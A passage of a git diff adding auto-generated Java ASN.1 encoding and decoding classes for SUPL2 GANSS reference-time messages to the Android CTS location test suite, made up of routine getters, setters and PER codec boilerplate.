+ protected Asn1Tag getTag() {
+ return TAG_tddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tddType != null) {
+ return ImmutableList.of(TAG_tddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerUnaligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerAligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellParametersID referenceIdentity_;
+ public CellParametersID getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellParametersID
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (CellParametersID) value;
+ }
+ public CellParametersID setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new CellParametersID();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellParametersID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("tddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isTdd() {
+ return !hasExtensionValue() && Select.$Tdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.tddType getTdd() {
+ if (!isTdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Tdd");
+ }
+ return (modeSpecificInfoType.tddType) element;
+ }
+
+ public void setTdd(modeSpecificInfoType.tddType selected) {
+ selection = Select.$Tdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.tddType setTddToNewInstance() {
+ modeSpecificInfoType.tddType element = new modeSpecificInfoType.tddType();
+ setTdd(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "modeSpecificInfoType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sfnType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sfnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sfnType() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sfnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sfnType != null) {
+ return ImmutableList.of(TAG_sfnType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerUnaligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerAligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sfnType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganss_TODUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganss_TODUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganss_TODUncertaintyType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganss_TODUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganss_TODUncertaintyType != null) {
+ return ImmutableList.of(TAG_ganss_TODUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganss_TODUncertaintyType from encoded stream.
+ */
+ public static ganss_TODUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ ganss_TODUncertaintyType result = new ganss_TODUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganss_TODUncertaintyType from encoded stream.
+ */
+ public static ganss_TODUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ ganss_TODUncertaintyType result = new ganss_TODUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganss_TODUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTRAN_GANSSReferenceTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
new file mode 100755
index 0000000..c58b33e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
@@ -0,0 +1,567 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTRAN_GANSSReferenceTimeAssistance extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTRAN_GANSSReferenceTimeAssistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRAN_GANSSReferenceTimeAssistance() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRAN_GANSSReferenceTimeAssistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRAN_GANSSReferenceTimeAssistance != null) {
+ return ImmutableList.of(TAG_UTRAN_GANSSReferenceTimeAssistance);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRAN_GANSSReferenceTimeAssistance from encoded stream.
+ */
+ public static UTRAN_GANSSReferenceTimeAssistance fromPerUnaligned(byte[] encodedBytes) {
+ UTRAN_GANSSReferenceTimeAssistance result = new UTRAN_GANSSReferenceTimeAssistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRAN_GANSSReferenceTimeAssistance from encoded stream.
+ */
+ public static UTRAN_GANSSReferenceTimeAssistance fromPerAligned(byte[] encodedBytes) {
+ UTRAN_GANSSReferenceTimeAssistance result = new UTRAN_GANSSReferenceTimeAssistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GANSSReferenceTimeAssistance.ganssDayType ganssDay_;
+ public UTRAN_GANSSReferenceTimeAssistance.ganssDayType getGanssDay() {
+ return ganssDay_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTimeAssistance.ganssDayType
+ */
+ public void setGanssDay(Asn1Object value) {
+ this.ganssDay_ = (UTRAN_GANSSReferenceTimeAssistance.ganssDayType) value;
+ }
+ public UTRAN_GANSSReferenceTimeAssistance.ganssDayType setGanssDayToNewInstance() {
+ ganssDay_ = new UTRAN_GANSSReferenceTimeAssistance.ganssDayType();
+ return ganssDay_;
+ }
+
+ private UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType ganssTimeID_;
+ public UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType getGanssTimeID() {
+ return ganssTimeID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType
+ */
+ public void setGanssTimeID(Asn1Object value) {
+ this.ganssTimeID_ = (UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType) value;
+ }
+ public UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType setGanssTimeIDToNewInstance() {
+ ganssTimeID_ = new UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType();
+ return ganssTimeID_;
+ }
+
+ private UTRAN_GANSSReferenceTime utran_GANSSReferenceTime_;
+ public UTRAN_GANSSReferenceTime getUtran_GANSSReferenceTime() {
+ return utran_GANSSReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTime
+ */
+ public void setUtran_GANSSReferenceTime(Asn1Object value) {
+ this.utran_GANSSReferenceTime_ = (UTRAN_GANSSReferenceTime) value;
+ }
+ public UTRAN_GANSSReferenceTime setUtran_GANSSReferenceTimeToNewInstance() {
+ utran_GANSSReferenceTime_ = new UTRAN_GANSSReferenceTime();
+ return utran_GANSSReferenceTime_;
+ }
+
+ private UTRANGANSSDriftRate utranGANSSDriftRate_;
+ public UTRANGANSSDriftRate getUtranGANSSDriftRate() {
+ return utranGANSSDriftRate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRANGANSSDriftRate
+ */
+ public void setUtranGANSSDriftRate(Asn1Object value) {
+ this.utranGANSSDriftRate_ = (UTRANGANSSDriftRate) value;
+ }
+ public UTRANGANSSDriftRate setUtranGANSSDriftRateToNewInstance() {
+ utranGANSSDriftRate_ = new UTRANGANSSDriftRate();
+ return utranGANSSDriftRate_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDay() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDay();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTimeAssistance.ganssDayType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDay : "
+ + getGanssDay().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTimeAssistance.ganssTimeIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeID : "
+ + getGanssTimeID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GANSSReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GANSSReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GANSSReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GANSSReferenceTime : "
+ + getUtran_GANSSReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtranGANSSDriftRate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtranGANSSDriftRate();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtranGANSSDriftRateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRANGANSSDriftRate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utranGANSSDriftRate : "
+ + getUtranGANSSDriftRate().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssDayType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssDayType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssDayType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssDayType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssDayType != null) {
+ return ImmutableList.of(TAG_ganssDayType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssDayType from encoded stream.
+ */
+ public static ganssDayType fromPerUnaligned(byte[] encodedBytes) {
+ ganssDayType result = new ganssDayType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssDayType from encoded stream.
+ */
+ public static ganssDayType fromPerAligned(byte[] encodedBytes) {
+ ganssDayType result = new ganssDayType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssDayType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTimeIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTimeIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTimeIDType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTimeIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTimeIDType != null) {
+ return ImmutableList.of(TAG_ganssTimeIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerAligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTimeIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTRAN_GANSSReferenceTimeAssistance = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
new file mode 100755
index 0000000..d649fe5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTRAN_GANSSReferenceTimeResult extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTRAN_GANSSReferenceTimeResult
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRAN_GANSSReferenceTimeResult() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRAN_GANSSReferenceTimeResult;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRAN_GANSSReferenceTimeResult != null) {
+ return ImmutableList.of(TAG_UTRAN_GANSSReferenceTimeResult);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRAN_GANSSReferenceTimeResult from encoded stream.
+ */
+ public static UTRAN_GANSSReferenceTimeResult fromPerUnaligned(byte[] encodedBytes) {
+ UTRAN_GANSSReferenceTimeResult result = new UTRAN_GANSSReferenceTimeResult();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRAN_GANSSReferenceTimeResult from encoded stream.
+ */
+ public static UTRAN_GANSSReferenceTimeResult fromPerAligned(byte[] encodedBytes) {
+ UTRAN_GANSSReferenceTimeResult result = new UTRAN_GANSSReferenceTimeResult();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GANSSReferenceTimeResult.ganssTimeIDType ganssTimeID_;
+ public UTRAN_GANSSReferenceTimeResult.ganssTimeIDType getGanssTimeID() {
+ return ganssTimeID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTimeResult.ganssTimeIDType
+ */
+ public void setGanssTimeID(Asn1Object value) {
+ this.ganssTimeID_ = (UTRAN_GANSSReferenceTimeResult.ganssTimeIDType) value;
+ }
+ public UTRAN_GANSSReferenceTimeResult.ganssTimeIDType setGanssTimeIDToNewInstance() {
+ ganssTimeID_ = new UTRAN_GANSSReferenceTimeResult.ganssTimeIDType();
+ return ganssTimeID_;
+ }
+
+ private SET_GANSSReferenceTime set_GANSSReferenceTime_;
+ public SET_GANSSReferenceTime getSet_GANSSReferenceTime() {
+ return set_GANSSReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SET_GANSSReferenceTime
+ */
+ public void setSet_GANSSReferenceTime(Asn1Object value) {
